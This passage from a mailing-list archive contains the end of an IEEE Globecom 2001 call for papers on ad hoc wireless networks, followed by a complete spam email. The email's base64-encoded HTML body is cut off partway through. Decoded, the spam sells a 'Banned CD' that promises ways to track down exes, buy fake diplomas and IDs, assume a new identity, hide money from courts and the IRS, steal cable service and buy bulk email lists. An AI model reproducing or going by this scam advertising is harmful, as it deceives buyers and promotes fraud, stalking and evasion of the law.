Globecom submission process and instructions (AUTHOR KIT). In order to ensure that your paper is properly routed to this Symposium, it is VERY IMPORTANT that you explicitly identify Symposium on Ad Hoc Wireless Networks as the intended symposium to which you are submitting the paper. Failure to do so may result in your paper being forwarded to another symposium. All submissions are done electronically. Submission deadline is 31st March 2001. Accepted papers will be published in the IEEE GLOBECOM proceedings. All inquires should be directed to the symposium chairman at cktoh@ece.gatech.edu ---------------------------------------------------------------- International Technical Program Committee Dr. Peiying Zhu, NORTEL Networks Dr. Bassam Hashem, NORTEL Networks Dr. Radha Krishnan, NORTEL Networks Dr. Yile Guo, NOKIA USA Roch Glitho, ERICSSON Dr. Eric Fleury, INRIA, France Prof. Andre Schaff, U of Henry Poincare Nancy 1, France Prof. Jean-Yves-Le-Boudec, EPFL, Switzerland Prof. Adam Wolisz, TU Berlin, Germany Prof. H. T. Mouftah, Queens University, Canada Prof. Victor O. K. Li, University of Hong Kong Prof. K-C Chen, National Taiwan University, Taiwan Prof. Elvino Sousa, University of Toronto, Canada Syed Akbar, TRW, USA Dr. Kenneth Bayer, MITRE Corporation, USA Dr. Howard Lemberg, Telcordia Technologies, USA Prof. Kris Pister, University of California Berkeley Prof. Nicholas Bambos, Stanford University, USA Prof. Zygmunt J Haas, Cornell University, USA Prof. C-K. Toh, Georgia Tech, USA Prof. Ahmed Helmy, University of Southern California, Dongkyun Kim, Seoul National University, Korea Dr. Nader Moayeri, National Institute of Standard & Technology Prof. Christian Bonnet, EURECOM, France Prof. Bruce McDonald, Northeastern University, USA Prof. Taieb Znati, U of Pittsburgh/National Science Foundation Dr. Olov Schelen, Lulea University of Technology, Sweden -------------------------------------------------------------- Web Site: http://www.globecom2001.com http://users.ece.gatech.edu:80/~cktoh/sawn/sawn01.html -------------------------------------------------------------- Sponsored by IEEE Communications Society -------------------------------------------------------------- ____________________________________________________________________ Get free email and a permanent address at http://www.amexmail.com/?A=1 From owner-manet@itd.nrl.navy.mil Mon Jan 29 21:21:57 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA14012 for ; Mon, 29 Jan 2001 21:21:56 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id TAA23554 for manet-outgoing; Mon, 29 Jan 2001 19:36:14 -0500 (EST) Received: from dfw-smtpout2.email.verio.net (dfw-smtpout2.email.verio.net [129.250.36.42]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id TAA23540; Mon, 29 Jan 2001 19:36:12 -0500 (EST) Received: from [129.250.38.61] (helo=dfw-mmp1.email.verio.net) by dfw-smtpout2.email.verio.net with esmtp id 14NOlf-0002gT-00; Tue, 30 Jan 2001 00:35:31 +0000 Received: from [206.133.83.14] (helo=localhost) by dfw-mmp1.email.verio.net with esmtp id 14NOkT-0001jA-00; Tue, 30 Jan 2001 00:34:17 +0000 X-Sender: misterprivacy@hushmail.com From: Dave To: "customer" Date: Mon, 29 Jan 2001 15:50:45 -0500 Subject: I could go to JAIL for selling this CD! MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_001__15747670_57045.94" Message-Id: Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk This is a Multipart MIME message. ------=_NextPart_000_001__15747670_57045.94 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit ------=_NextPart_000_001__15747670_57045.94 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: base64 PCFkb2N0eXBlIGh0bWwgcHVibGljICItLy93M2MvL2R0ZCBodG1sIDQuMCB0cmFuc2l0aW9u YWwvL2VuIj4NCjxodG1sPg0KPGhlYWQ+DQogICA8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50 LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIj4NCiAgIDxt ZXRhIG5hbWU9IkdFTkVSQVRPUiIgY29udGVudD0iTW96aWxsYS80LjYxIFtlbl0gKFdpbjk4 OyBJKSBbTmV0c2NhcGVdIj4NCiAgIDx0aXRsZT5UaGUgQkFOTkVEIENEITwvdGl0bGU+DQo8 L2hlYWQ+DQo8Ym9keT4NCjxmb250IHNpemU9KzE+SGksPC9mb250Pg0KPHA+PGZvbnQgc2l6 ZT0rMT5JIGhhdmUgYmVlbiByZWNpZXZpbmcgZW1haWxzIHNheWluZyB0aGF0IEknbSBjb250 cmlidXRpbmcNCnRvPC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+dGhlICJtb3JhbCBkZWNh eSBvZiBzb2NpZXR5IiBieSBzZWxsaW5nIHRoZSBCYW5uZWQgQ0QuJm5ic3A7DQpUaGF0PC9m b250Pg0KPGJyPjxmb250IHNpemU9KzE+bWF5IGJlLCBidXQgSSBmZWVsIHN0cm9uZ2x5IHRo YXQgeW91IGhhdmUgYSByaWdodCB0bw0KYmVuZWZpdCBmcm9tPC9mb250Pg0KPGJyPjxmb250 IHNpemU9KzE+dGhpcyBoYXJkLXRvLWZpbmQgaW5mb3JtYXRpb24uPC9mb250Pg0KPHA+PGZv bnQgY29sb3I9IiNDQzAwMDAiPjxmb250IHNpemU9KzE+U28gSSBhbSBnaXZpbmcgeW91IE9O RSBMQVNUIENIQU5DRQ0KdG8gb3JkZXI8L2ZvbnQ+PC9mb250Pg0KPGJyPjxmb250IGNvbG9y PSIjQ0MwMDAwIj48Zm9udCBzaXplPSsxPnRoZSBCYW5uZWQgQ0QhPC9mb250PjwvZm9udD4N Cjxicj4mbmJzcDsNCjx0YWJsZSBCT1JERVI9MCBDT0xTPTIgV0lEVEg9Ijc1JSIgPg0KPHRy Pg0KPHRkIFdJRFRIPSIxJSI+PGltZyBTUkM9Imh0dHA6Ly9jb21wdXpvbmV1c2EuY29tL2lt YWdlcy9zcHkuanBnIiBoZWlnaHQ9MTI4IHdpZHRoPTg2PjwvdGQ+DQoNCjx0ZD48Zm9udCBz aXplPSsxPldpdGggdGhpcyBwb3dlcmZ1bCBDRCwgeW91IHdpbGwgYmUgYWJsZSB0byBpbnZl c3RpZ2F0ZQ0KeW91ciBmcmllbmRzLCBlbmVtaWVzIGFuZCBsb3ZlcnMgaW4ganVzdCBtaW51 dGVzIHVzaW5nIHRoZSBJbnRlcm5ldC4mbmJzcDsNCllvdSBjYW4gdHJhY2sgZG93biBvbGQg ZmxhbWVzIGZyb20gY29sbGVnZSwgb3IgeW91IGNhbiBkaWcgdXAgc29tZSBkaXJ0DQpvbiB5 b3VyIGJvc3MgdG8gbWFrZSBzdXJlIHlvdSBnZXQgdGhhdCBuZXh0IHByb21vdGlvbiE8L2Zv bnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD48Zm9udCBzaXplPSsxPk9yIG1heWJl IHlvdSB3YW50IGEgZmFrZSBkaXBsb21hIHRvIGhhbmcgb24geW91ciBiZWRyb29tPC9mb250 Pg0KPGJyPjxmb250IHNpemU9KzE+d2FsbC4mbmJzcDsgWW91J2xsIGZpbmQgYWRkcmVzc2Vz IGZvciBjb21wYW5pZXMgdGhhdA0KbWFrZSB0aGVzZTwvZm9udD4NCjxicj48Zm9udCBzaXpl PSsxPmRpcGxvbWFzIG9uIHRoZSBCYW5uZWQgQ0QuPC9mb250Pg0KPHA+PGZvbnQgc2l6ZT0r MT5OZWVkIHRvIGRpc2FwcGVhciBmYXN0IGFuZCBuZXZlciBsb29rIGJhY2s/Jm5ic3A7IE5v IHByb2JsZW0hPC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+VXNpbmcgdGhlIEJhbm5lZCBD RCwgeW91IHdpbGwgbGVhcm4gaG93IHRvIGJ1aWxkIGEgY29tcGxldGVseTwvZm9udD4NCjxi cj48Zm9udCBzaXplPSsxPm5ldyBpZGVudGl0eS48L2ZvbnQ+DQo8cD48Zm9udCBzaXplPSsx Pk9idmlvdXNseSwgdGhlIFBvd2VycyBUaGF0IEJlIGRvbid0IHdhbnQgeW91IHRvIGhhdmUg dGhlPC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+QmFubmVkIENELiZuYnNwOyBUaGV5IGhh dmUgdGhyZWF0ZW5lZCBtZSB3aXRoIGxhd3N1aXRzLA0KZmluZXMsPC9mb250Pg0KPGJyPjxm b250IHNpemU9KzE+YW5kIGV2ZW4gaW1wcmlzb25tZW50IHVubGVzcyBJIHN0b3Agc2VsbGlu ZyBpdCBpbW1lZGlhdGVseS48L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0rMT5CdXQgSSBmZWVs IHRoYXQgWU9VIGhhdmUgYSBDb25zdGl0dXRpb25hbCByaWdodCB0byBhY2Nlc3M8L2ZvbnQ+ DQo8YnI+PGZvbnQgc2l6ZT0rMT50aGlzIHR5cGUgb2YgaW5mb3JtYXRpb24sIGFuZCBJIGNh bid0IGJlIGludGltaWRhdGVkLjwvZm9udD4NCjxicj4mbmJzcDsNCjx0YWJsZSBCT1JERVI9 MCBDT0xTPTIgV0lEVEg9IjUwJSIgPg0KPHRyPg0KPHRkIFdJRFRIPSIxMDAlIj48aT48Zm9u dCBjb2xvcj0iIzMzMzNGRiI+PGZvbnQgc2l6ZT0rMT5VbmNsZSBTYW0gYW5kIHlvdXINCmNy ZWRpdG9ycyBhcmUgaG9ycmlmaWVkIHRoYXQgSSBhbSBzdGlsbCBzZWxsaW5nIHRoaXMgcHJv ZHVjdCEmbmJzcDsgVGhlcmUNCm11c3QgYmUgYSBwcmljZSBvbiBteSBoZWFkITwvZm9udD48 L2ZvbnQ+PC9pPjwvdGQ+DQoNCjx0ZCBXSURUSD0iMSUiPjxpbWcgU1JDPSJodHRwOi8vY29t cHV6b25ldXNhLmNvbS9pbWFnZXMvb3V0bGF3LmpwZyIgaGVpZ2h0PTEyOCB3aWR0aD05Mz48 L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxmb250IHNpemU9KzE+V2h5IGFyZSB0aGV5 IHNvIHVwc2V0PyBCZWNhdXNlIHRoaXMgQ0QgZ2l2ZXMgeW91IGZyZWVkb20uPC9mb250Pg0K PGJyPjxmb250IHNpemU9KzE+QW5kIHlvdSBjYW4ndCBidXkgZnJlZWRvbSBhdCB5b3VyIGxv Y2FsIFdhbG1hcnQuJm5ic3A7DQpZb3Ugd2lsbDwvZm9udD4NCjxicj48Zm9udCBzaXplPSsx PmhhdmUgdGhlIGZyZWVkb20gdG8gYXZvaWQgY3JlZGl0b3JzLCBqdWRnbWVudHMsIGxhd3N1 aXRzLA0KSVJTPC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+dGF4IGNvbGxlY3RvcnMsIGNy aW1pbmFsIGluZGljdG1lbnRzLCB5b3VyIGdyZWVkeSBleC13aWZlDQpvcjwvZm9udD4NCjxi cj48Zm9udCBzaXplPSsxPmV4LWh1c2JhbmQsIGFuZCBNVUNIIG1vcmUhPC9mb250Pg0KPHA+ PGZvbnQgc2l6ZT0rMT5KdXN0IGxvb2sgYXQgc29tZSBvZiB0aGUgdGhpbmdzIHlvdSBjYW4g ZG8gd2l0aCB0aGlzIENEDQouLi48L2ZvbnQ+DQo8dWw+DQo8bGk+DQo8Yj48Zm9udCBjb2xv cj0iIzAwMDA5OSI+U2F2ZSBodW5kcmVkcyBvciBldmVuIHRob3VzYW5kcyBvZiBkb2xsYXJz IG9uDQp5b3VyIHRheGVzIGJ5IHVzaW5nIHRoZSBzZWNyZXQgdGF4IHRpcHMgY29udGFpbmVk IGluIHRoaXMgcGFja2FnZS4mbmJzcDsNClRoZSBJUlMgZG9lcyBOT1Qgd2FudCB5b3UgdG8g a25vdyB0aGVzZSBsb29waG9sZXMhPC9mb250PjwvYj48L2xpPg0KDQo8bGk+DQo8Yj48Zm9u dCBjb2xvcj0iIzAwMDA5OSI+VHJhY2sgZG93biBmcmllbmRzIGFuZCBvbGQgZmxhbWVzIGZy b20gdGhlIGNvbWZvcnQNCm9mIHlvdXIgb3duIGhvbWUgd2l0aCBvdXIgSW50ZXJuZXQgaW52 ZXN0aWdhdGlvbiByZXNvdXJjZXMhPC9mb250PjwvYj48L2xpPg0KDQo8bGk+DQo8Yj48Zm9u dCBjb2xvcj0iIzAwMDA5OSI+RmluZCBvdXQgd2hlcmUgeW91ciBFWCBpcyBoaWRpbmcgdGhl aXIgbW9uZXkgdG8NCmF2b2lkIGFsaW1vbnksIGNoaWxkIHN1cHBvcnQsIG9yIGRpdm9yY2Ug c2V0dGxlbWVudHMuIFRoZW4gZ2V0IHlvdXIgaGFuZHMNCm9uIHRoYXQgbW9uZXkuJm5ic3A7 IEJsZWVkICdlbSBkcnkhJm5ic3A7IFByaXZhdGUgaW52ZXN0aWdhdG9ycyBjaGFyZ2UNCnRo b3VzYW5kcyBvZiBkb2xsYXJzIGZvciB0aGlzIHNlcnZpY2UsIGJ1dCB5b3UgY2FuIGRvIGl0 IHdpdGggYSBjb21wdXRlcg0KYW5kIGFuIGludGVybmV0IGNvbmVjdGlvbiB3aGVuIHlvdSBi dXkgdGhlIEJhbm5lZCBDRCE8L2ZvbnQ+PC9iPjwvbGk+DQoNCjxsaT4NCjxiPjxmb250IGNv bG9yPSIjMDAwMDk5Ij5MZWFybiBob3cgdG8gdXNlIG9mZnNob3JlIG1vbmV5IGhhdmVucyBh bmQgYXNzZXQNCnByb3RlY3Rpb24gdHJ1c3RzIHRvIGF2b2lkIGxhd3N1aXRzLCBqdWRnbWVu dHMsIGFuZCBmb29sIHRoZSBtb3N0IGFnZ3Jlc3NpdmUNCnRheCBjb2xsZWN0b3IhJm5ic3A7 IElmIHlvdXIgbW9uZXkgaXMgc2l0dGluZyBpbiBhIFVTIGJhbmsgYWNjb3VudCwgeW91cg0K ZnVuZHMgY2FuIGJlIGxldmllZCBvciBmcm96ZW4gY29tcGxldGVseSBhdCBhbnkgdGltZS4m bmJzcDsgVGhlIFVTIGdvdmVybm1lbnQNCnVzZXMgImNpdmlsIGFzc2V0IGZvcmZlaXR1cmUi IHRvIHN0ZWFsIGJpbGxpb25zIG9mIGRvbGxhcnMgZWFjaCB5ZWFyIGZyb20NCmhhcmQtd29y a2luZywgbGF3IGFiaWRpbmcgY2l0aXplbnMuJm5ic3A7IEdldCB5b3VyIG1vbmV5IG91dCBv ZiB0aGUgY291bnRyeQ0KYmVmb3JlIFVuY2xlIFNhbSBzbmF0Y2hlcyBpdCBhbGwuPC9mb250 PjwvYj48L2xpPg0KDQo8bGk+DQo8Yj48Zm9udCBjb2xvcj0iIzAwMDA5OSI+RmluZCBvdXQg d2hlcmUgdG8gYnV5ICJmb3JiaWRkZW4gcHJvZHVjdHMiIG9uDQp0aGUgSW50ZXJuZXQuIEZ1 cnRoZXIgZWxhYm9yYXRpb24gc2hvdWxkIG5vdCBiZSBuZWNlc3Nhcnk7IGp1c3QgdXNlIHlv dXINCmltYWdpbmF0aW9uLjwvZm9udD48L2I+PC9saT4NCg0KPGxpPg0KPGI+PGZvbnQgY29s b3I9IiMwMDAwOTkiPkdldCBhIGJldHRlciBqb2IgYnkgcHVyY2hhc2luZyBhIGNvbGxlZ2Ug ZGVncmVlDQooaW5jbHVkaW5nIGEgUGhkISkgZm9yIGEgdmVyeSBsb3cgZmVlLiBObyBzdHVk eSByZXF1aXJlZCE8L2ZvbnQ+PC9iPjwvbGk+DQoNCjxsaT4NCjxiPjxmb250IGNvbG9yPSIj MDAwMDk5Ij5JZiB5b3VyIEVYIGlzIGNvbWluZyBhZnRlciB5b3VyIG1vbmV5LCBzdGF5IG9u ZQ0Kc3RlcCBhaGVhZCBvZiB0aGUgbGF3eWVycyBhbmQga2VlcCB0aGVpciBncmVlZHkgaGFu ZHMgb2ZmIHlvdXIgbG9vdC4gRmluZA0Kb3V0IGhvdyB0byBoaWRlIHlvdXIgbW9uZXkgd2hl cmUgaXQgd2lsbCBuZXZlciBiZSBmb3VuZC48L2ZvbnQ+PC9iPjwvbGk+DQoNCjxsaT4NCjxi Pjxmb250IGNvbG9yPSIjMDAwMDk5Ij5Bdm9pZCBsZWdhbCBwcm9ibGVtcywganVkZ21lbnRz LCBjb252aWN0aW9ucywNCmFuZCBldmVuIHByaXNvbiBzZW50ZW5jZXMgYnkgb2J0YWluaW5n IGEgY29tcGxldGVseSBuZXcgaWRlbnRpdHkgYW5kIGRpc2FwcGVhcmluZw0Kd2l0aG91dCBh IHRyYWNlITwvZm9udD48L2I+PC9saT4NCg0KPGxpPg0KPGI+PGZvbnQgY29sb3I9IiMwMDAw OTkiPkVyYXNlIHlvdXIgY3JpbWluYWwgcmVjb3JkIGFuZCBvYnRhaW4gYSBjb3B5IG9mDQp5 b3VyIEZCSSBmaWxlIHVzaW5nIHRoZSBGcmVlZG9tIG9mIEluZm9ybWF0aW9uIEFjdC4mbmJz cDsgRmluZCBvdXQgaWYgdGhlDQpnb3Zlcm5tZW50IGlzIGludmVzdGlnYXRpbmcgeW91IE5P VyBiZWZvcmUgaXQncyB0b28gTEFURSE8L2ZvbnQ+PC9iPjwvbGk+DQo8L3VsPg0KPGZvbnQg c2l6ZT0rMT5JZiB5b3UgaGF2ZSBiZWVuIHB1dHRpbmcgb2ZmIGJ1eWluZyBUaGUgQmFubmVk IENELCB3aGF0IGFyZQ0KeW91PC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+d2FpdGluZyBm b3I/Jm5ic3A7IEJpZyBCcm90aGVyIGlzIGFscmVhZHkgYnJlYXRoaW5nIGRvd24NCm15IG5l Y2ssIHNvPC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+SSBjYW4ndCBrZWVwIHNlbGxpbmcg aXQgZm9yZXZlci4mbmJzcDsgSWYgeW91IGtlZXAgd2FpdGluZw0KdG8gcGxhY2U8L2ZvbnQ+ DQo8YnI+PGZvbnQgc2l6ZT0rMT55b3VyIG9yZGVyLCB5b3UgbWF5IG5ldmVyIGZpbmQgVGhl IEJhbm5lZCBDRCBhZ2Fpbi4mbmJzcDsNCkZvciBvbmx5PC9mb250Pg0KPGJyPjxmb250IHNp emU9KzE+JDE5Ljk5LCB5b3Ugd2lsbCBnYWluIHZhbHVhYmxlIHBlYWNlLW9mLW1pbmQga25v d2luZw0KaG93IHRvPC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+c2FmZWd1YXJkIHlvdXJz ZWxmLCB5b3VyIGZhbWlseSwgYW5kIHlvdXIgbW9uZXkuJm5ic3A7DQpXaG8gY2FuIHB1dCBh PC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+cHJpY2Ugb24gZnJlZWRvbT8hPC9mb250Pg0K PHA+PGk+PHU+PGZvbnQgc2l6ZT0rMT5IZXJlIGlzIGFub3RoZXIgbG9vayBhdCB0aGUgY29u dGVudHMgb2YgdGhlIEJBTk5FRA0KQ0Q6PC9mb250PjwvdT48L2k+DQo8cD48aW1nIFNSQz0i aHR0cDovL2NvbXB1em9uZXVzYS5jb20vaW1hZ2VzL2J1dHRvbi5naWYiIGhlaWdodD0xOSB3 aWR0aD0xOT48Zm9udCBjb2xvcj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT4NCkZpbmQgY29u ZmlkZW50aWFsIGluZm8gb24gYW55b25lIGluIDMwIG1pbnV0ZXMgb3I8L2ZvbnQ+PC9mb250 Pg0KPGJyPjxmb250IGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPmxlc3Mgb24gdGhl IEludGVybmV0LiBZb3UnbGwgYmUNCmFibGUgdG8gdHJhY2sgZG93biB5b3VyPC9mb250Pjwv Zm9udD4NCjxicj48Zm9udCBjb2xvcj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT5vbGQgZmxh bWUsIGZpbmQgb3V0IGhvdyBtdWNoIG1vbmV5DQp5b3VyIGV4IGlzIGhpZGluZzwvZm9udD48 L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+aW4gdGhl aXIgYmFuayBhY2NvdW50LCBvciBydW4gYQ0KYmFja2dyb3VuZCBjaGVjayBvbjwvZm9udD48 L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+cHJvZXNw ZWN0aXZlIGNsaWVudCBvciBlbXBsb3llZS4NCkV2ZW4gZ292ZXJubWVudDwvZm9udD48L2Zv bnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+YWdlbmNpZXMg aGF2ZSB0cm91YmxlIG9idGFpbmluZw0KbXVjaCBvZiB0aGlzIGluZm9ybWF0aW9uLjwvZm9u dD48L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+WW91 IHdpbGwgaGF2ZSBhbGwgdGhlIHJlc291cmNlcw0Kb2YgYW55IHByb2Zlc3Npb25hbDwvZm9u dD48L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+aW52 ZXN0aWdhdG9yIHJpZ2h0IGF0IHlvdXIgZmluZ2VydGlwcw0KLSBvbiB5b3VyIGhvbWU8L2Zv bnQ+PC9mb250Pg0KPGJyPjxmb250IGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPmNv bXB1dGVyITwvZm9udD48L2ZvbnQ+DQo8cD48aW1nIFNSQz0iaHR0cDovL2NvbXB1em9uZXVz YS5jb20vaW1hZ2VzL2J1dHRvbi5naWYiIGhlaWdodD0xOSB3aWR0aD0xOT48Zm9udCBjb2xv cj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT4NCkxpc3Qgb2YgY29tcGFuaWVzIHdobyB3aWxs IGlzc3VlIHlvdSBhIGNvbGxlZ2U8L2ZvbnQ+PC9mb250Pg0KPGJyPjxmb250IGNvbG9yPSIj NjY2NjY2Ij48Zm9udCBzaXplPSsxPmRlZ3JlZSAoaW5jbHVkaW5nIGEgUGhkLikgZm9yIGEN CmZlZS4gTm8gc3R1ZHkgcmVxdWlyZWQhPC9mb250PjwvZm9udD4NCjxwPjxpbWcgU1JDPSJo dHRwOi8vY29tcHV6b25ldXNhLmNvbS9pbWFnZXMvYnV0dG9uLmdpZiIgaGVpZ2h0PTE5IHdp ZHRoPTE5Pjxmb250IGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPg0KTGVhcm4gaG93 IHRvIGdldCBGUkVFIGNhYmxlIGFuZCBEU1MgY2hhbm5lbHMsPC9mb250PjwvZm9udD4NCjxi cj48Zm9udCBjb2xvcj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT5pbmNsdWRpbmcgdGhlIGFk dWx0IHN0YXRpb25zIGFuZA0KUGF5LVBlci1WaWV3ITwvZm9udD48L2ZvbnQ+DQo8cD48aW1n IFNSQz0iaHR0cDovL2NvbXB1em9uZXVzYS5jb20vaW1hZ2VzL2J1dHRvbi5naWYiIGhlaWdo dD0xOSB3aWR0aD0xOT48Zm9udCBjb2xvcj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT4NCkhv dyB0byBPYnRhaW4gTWljcm9zb2Z0IFByb2R1Y3RzIGFic29sdXRlbHk8L2ZvbnQ+PC9mb250 Pg0KPGJyPjxmb250IGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPkZSRUUsIHRoZSBz YWZlIGFuZCBMRUdBTCB3YXkhPC9mb250PjwvZm9udD4NCjxwPjxpbWcgU1JDPSJodHRwOi8v Y29tcHV6b25ldXNhLmNvbS9pbWFnZXMvYnV0dG9uLmdpZiIgaGVpZ2h0PTE5IHdpZHRoPTE5 Pjxmb250IGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPg0KTGlzdCBvZiBzdXBwbGll cnMgb2YgInF1ZXN0aW9uYWJsZSIgaXRlbXMsIHN1Y2g8L2ZvbnQ+PC9mb250Pg0KPGJyPjxm b250IGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPmFzIGZjYyBiYW5uZWQgY29tbXVu aWNhdGlvbnMgZGV2aWNlcywNCnNjYW5uZXJzLDwvZm9udD48L2ZvbnQ+DQo8YnI+PGZvbnQg Y29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+bmlnaHQgdmlzaW9uIGdvZ2dsZXMsIHBh c3Nwb3J0cywNCmZha2UgaWRlbnRpZmljYXRpb24sPC9mb250PjwvZm9udD4NCjxicj48Zm9u dCBjb2xvcj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT5hbmQgZXZlcnl0aGluZyBlbHNlIHRo YXQgeW91IHdvbid0DQpmaW5kIGluIHRoZSBiYWNrPC9mb250PjwvZm9udD4NCjxicj48Zm9u dCBjb2xvcj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT5vZiBTb2xkaWVyIG9mIEZvcnR1bmUg bWFnYXppbmUhPC9mb250PjwvZm9udD4NCjxwPjxpbWcgU1JDPSJodHRwOi8vY29tcHV6b25l dXNhLmNvbS9pbWFnZXMvYnV0dG9uLmdpZiIgaGVpZ2h0PTE5IHdpZHRoPTE5Pjxmb250IGNv bG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPg0KRmluZCBwcm9kdWN0cyB0byByZXNlbGwg b24gdGhlIEludGVybmV0IHdpdGggb3VyPC9mb250PjwvZm9udD4NCjxicj48Zm9udCBjb2xv cj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT5XaG9sZXNhbGUgRGlyZWN0b3J5IGNvbnRhaW5p bmcNCm92ZXIgMSBtaWxsaW9uPC9mb250PjwvZm9udD4NCjxicj48Zm9udCBjb2xvcj0iIzY2 NjY2NiI+PGZvbnQgc2l6ZT0rMT4odGhhdCdzIHJpZ2h0LCBvbmUgbWlsbGlvbiEpIHdob2xl c2FsZQ0Kc291cmNlcyBmb3I8L2ZvbnQ+PC9mb250Pg0KPGJyPjxmb250IGNvbG9yPSIjNjY2 NjY2Ij48Zm9udCBzaXplPSsxPmNvbXB1dGVycywgZWxlY3Ryb25pY3MsIGJlYW5pZXMsDQp0 cmVuZCBpdGVtcyw8L2ZvbnQ+PC9mb250Pg0KPGJyPjxmb250IGNvbG9yPSIjNjY2NjY2Ij48 Zm9udCBzaXplPSsxPmpld2VscnksIGNhcnMsIGNvbGxlY3RpYmxlcywgYW5kDQpldmVyeXRo aW5nIGVsc2UhPC9mb250PjwvZm9udD4NCjxwPjxpbWcgU1JDPSJodHRwOi8vY29tcHV6b25l dXNhLmNvbS9pbWFnZXMvYnV0dG9uLmdpZiIgaGVpZ2h0PTE5IHdpZHRoPTE5Pjxmb250IGNv bG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPg0KT3ZlciAyNSBtaWxsaW9uIGVtYWlsIGFk ZHJlc3NlcywgZnJlc2ggYW5kPC9mb250PjwvZm9udD4NCjxicj48Zm9udCBjb2xvcj0iIzY2 NjY2NiI+PGZvbnQgc2l6ZT0rMT50YXJnZXRlZCEgWW91IGNhbiB1c2UgdGhlc2UgdG8NCmNv bnRhY3QgdGhlIHBlb3BsZTwvZm9udD48L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2 NjYiPjxmb250IHNpemU9KzE+YW5kIHNlbmQgdGhlbSB5b3VyIGFkdmVydGlzZW1lbnRzLjwv Zm9udD48L2ZvbnQ+DQo8cD48aW1nIFNSQz0iaHR0cDovL2NvbXB1em9uZXVzYS5jb20vaW1h Z2VzL2J1dHRvbi5naWYiIGhlaWdodD0xOSB3aWR0aD0xOT48Zm9udCBjb2xvcj0iIzY2NjY2 NiI+PGZvbnQgc2l6ZT0rMT4NCkZpbmQgb3V0IGhvdyB0byBnZXQgYSBjb21wbGV0ZWx5IG5l dyBpZGVudGl0eS48L2ZvbnQ+PC9mb250Pg0KPGJyPjxmb250IGNvbG9yPSIjNjY2NjY2Ij48 Zm9udCBzaXplPSsxPkRpc2FwcGVhciB3aXRob3V0IGEgdHJhY2UhPC9mb250PjwvZm9udD4N CjxwPjxpbWcgU1JDPSJodHRwOi8vY29tcHV6b25ldXNhLmNvbS9pbWFnZXMvYnV0dG9uLmdp ZiIgaGVpZ2h0PTE5IHdpZHRoPTE5Pjxmb250IGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBzaXpl PSsxPg0KRmluZCBvdXQgaG93IHRvIEVSQVNFIGJhZCBjcmVkaXQgYW5kIGV2ZW48L2ZvbnQ+ PC9mb250Pg0KPGJyPjxmb250IGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPmNyZWF0 ZSBhIHdob2xlIG5ldyBmaWxlIGluIHRoZQ0KY3JlZGl0IGJ1cmVhdSBjb21wdXRlcnMuPC9m b250PjwvZm9udD4NCjxwPjxpbWcgU1JDPSJodHRwOi8vY29tcHV6b25ldXNhLmNvbS9pbWFn ZXMvYnV0dG9uLmdpZiIgaGVpZ2h0PTE5IHdpZHRoPTE5Pjxmb250IGNvbG9yPSIjNjY2NjY2 Ij48Zm9udCBzaXplPSsxPg0KTGVhcm4gaG93IHRvIGJlYXQgdGhlIElSUy4gVGF4IHRpcHMg Zm9yIHRoZTwvZm9udD48L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250 IHNpemU9KzE+cmVzdCBvZiB1cy48L2ZvbnQ+PC9mb250Pg0KPHA+PGltZyBTUkM9Imh0dHA6 Ly9jb21wdXpvbmV1c2EuY29tL2ltYWdlcy9idXR0b24uZ2lmIiBoZWlnaHQ9MTkgd2lkdGg9 